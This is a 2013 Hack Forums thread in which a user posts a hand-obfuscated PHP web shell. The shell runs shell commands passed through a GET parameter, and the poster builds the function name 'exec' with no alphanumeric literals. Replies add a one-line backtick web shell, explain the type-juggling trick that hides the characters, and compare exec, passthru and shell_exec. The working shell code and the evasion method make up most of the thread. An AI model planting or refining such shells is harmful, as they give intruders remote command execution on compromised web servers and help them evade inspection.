+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Web Development (https://hackforums.net/forumdisplay.php?fid=183)
+---- Thread: [PHP] Simple PHP Shell I made [PHP OBFUSCATION] (/showthread.php?tid=3666924)
Pages: Pages
1
2
Simple PHP Shell I made [PHP OBFUSCATION] - Ego Inc - Aug 3, 2013
So I've been messing arround with different methods of obfuscvation in php and stuff like that out of boredom lately.. So here is a very simple shell I wrote.
usage: /shell.php?c={exec_command_here}
Source:
PHP Code
<? /* Simple Shell by Tux. */
$_[+'']='';@$_=$_.'';@$__=++$__+(++$__);$__=$_[$__];
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;
++$__;++$__;++$__;$___=$__;++$___;++$___;++$___;$__=$__.$___;$___=
$_[$__];++$___;++$___;++$___;$__=$__.$___;$___=$_[$__];++
$___;++$___;$____=$___;++$____;++$____;++$____;++$____;++$____;$___
=$___.$____;++$____;++$____;++$____;++$____;++$____;++$____;++$____;
++$____;++$____;++$____;$___=$___.$____;$__=+'';++$__;$____=
$__($_[$__]);$____=$____-++$__;$____=$___($____).$___(++$____+
(--$__));--$__;--$__;$__=$___[$__];++$__;$____=
$____.$__;++$__;++$__;++$__;++$__;++$__;$____=$____.
$__;$__=$__[$__];++$__;++$__;$____=$____.$__;++
$__;++$__;$__=$_[$__];++$__;++$__;++$__;++
$__;++$__;$____=$____.$__;$__=--$__;$__=$__
[$__];++$__;++$__;++$__;$__=$_[$__];$__=
$__($__)-1;$__=$___($__);$__=$__.$__.$__;
$__=+'';$__=$__.$___[$__];$__='_';$__=$_[+''];
++$__;++$__;++$__;++$__;++$__;++$__;
$__=$__.$__;$__=$__($__)-2;$__=$__.$___
($__);++$__;++$__;++$__;++$__;++$__;
++$__;++$__;++$__;++$__;++$__;++$__;
++$__;++$__;++$__;++$__;$__=$__.$___
($__);$____($__($_GET[$___[+'']]));?>What do you all think of it?
* - PigBacon - Aug 3, 2013
<?php `{$_GET['c']}` ?>
That's still pretty hard to get unless you know what the fuck backticks do.
* - Ego Inc - Aug 3, 2013
(Aug 3, 2013 04:52 PM)plausibility Wrote: <?php `{$_GET['c']}` ?>
That's still pretty hard to get unless you know what the fuck backticks do.
actually this doesn't use backticks tho? And the point of this was showing the obfuscation method :p
it uses exec() witch is the same but it spells it out.
* - NeoXiD - Aug 3, 2013
Nice idea, never thought of using this as an obfuscation. Also takes some time to deobfuscate it. It kinda reminds me of the language 'Brainfuck'. :p
* - Ego Inc - Aug 3, 2013
(Aug 3, 2013 06:58 PM)NeoXiD Wrote: Nice idea, never thought of using this as an obfuscation. Also takes some time to deobfuscate it. It kinda reminds me of the language 'Brainfuck'. :p
Well do you understand what exactly I did? For instance how did I get the word 'exec' stored in the variable $__ wishout using any alphanumeric letters?
* - NeoXiD - Aug 3, 2013
Yes I do =P The last line makes it kinda obvious - a string contains the function name, which will be executed. And before you're doing a lot of fiddly string-building / character addition&subtraction, for example: 'a'++ --> 'b'
EDIT: Just curious, did you actually write a script to do that? Or is it 'hand written'?
* - Ego Inc - Aug 3, 2013
(Aug 3, 2013 07:54 PM)NeoXiD Wrote: Yes I do =P The last line makes it kinda obvious - a string contains the function name, which will be executed. And before you're doing a lot of fiddly string-building / character addition&subtraction, for example: 'a'++ --> 'b'
EDIT: Just curious, did you actually write a script to do that? Or is it 'hand written'?
Hand written, but here's the big question for u, how did I get the alphabetic letters in there in the first place?
* - NeoXiD - Aug 3, 2013
(Aug 3, 2013 08:03 PM)Tux. Wrote: Hand written, but here's the big question for u, how did I get the alphabetic letters in there in the first place?
Well, it is done like this:
Code
$a[+'']=''; // Create array
$a=$a.''; // Saves 'Array' into a string
$b=4; // For example, 5th character (=> y)
var_dump($a[$b]); // Access single character, will return "y"Clever way to hide a character, I must admit, and it takes some time to see through ;)
Regards
NeoXiD
* - Ego Inc - Aug 3, 2013
(Aug 3, 2013 08:23 PM)NeoXiD Wrote: Well, it is done like this:
Code$a[+'']=''; // Create array
$a=$a.''; // Saves 'Array' into a string
$b=4; // For example, 5th character (=> y)
var_dump($a[$b]); // Access single character, will return "y"
Clever way to hide a character, I must admit, and it takes some time to see through ;)
Regards
NeoXiD
Very nice 🙂 You must of seen this before then 😝
* - NeoXiD - Aug 3, 2013
Thanks! And naah, not really, just a bit familiar with that chapter called "Type Juggling" in the PHP manual 🙂
* - Ego Inc - Aug 3, 2013
(Aug 3, 2013 08:33 PM)NeoXiD Wrote: Thanks! And naah, not really, just a bit familiar with that chapter called "Type Juggling" in the PHP manual 🙂
Oh nice :p and yeah I've been having fun with it, had nothin to do at work lately so just been messing arround with php while there.
* - LevelUp - Aug 3, 2013
(Aug 3, 2013 04:59 PM)Tux. Wrote: actually this doesn't use backticks tho? And the point of this was showing the obfuscation method :p
it uses exec() witch is the same but it spells it out.
Exec() sucks balls mang, why aren't you using passthru() or at least shell_exec()
* - Ego Inc - Aug 3, 2013
(Aug 3, 2013 08:46 PM)LevelUp Wrote: Exec() sucks balls mang, why aren't you using passthru() or at least shell_exec()
Its just a poc, lol :p But Im writing a much more sophisticated shell in this manor of obfuscation witch I will be releasing here shortly witch will have many measures with witch to try to execute system commands.
* - urez - Aug 4, 2013
(Aug 3, 2013 08:46 PM)LevelUp Wrote: Exec() sucks balls mang, why aren't you using passthru() or at least shell_exec()why is passthru() and shell_exec() better than exec()? whats the difference,i thought they do basically the same thing
* - Ego Inc - Aug 4, 2013
(Aug 4, 2013 01:44 PM)urez Wrote: why is passthru() and shell_exec() better than exec()? whats the difference,i thought they do basically the same thing
They work in different ways I believe.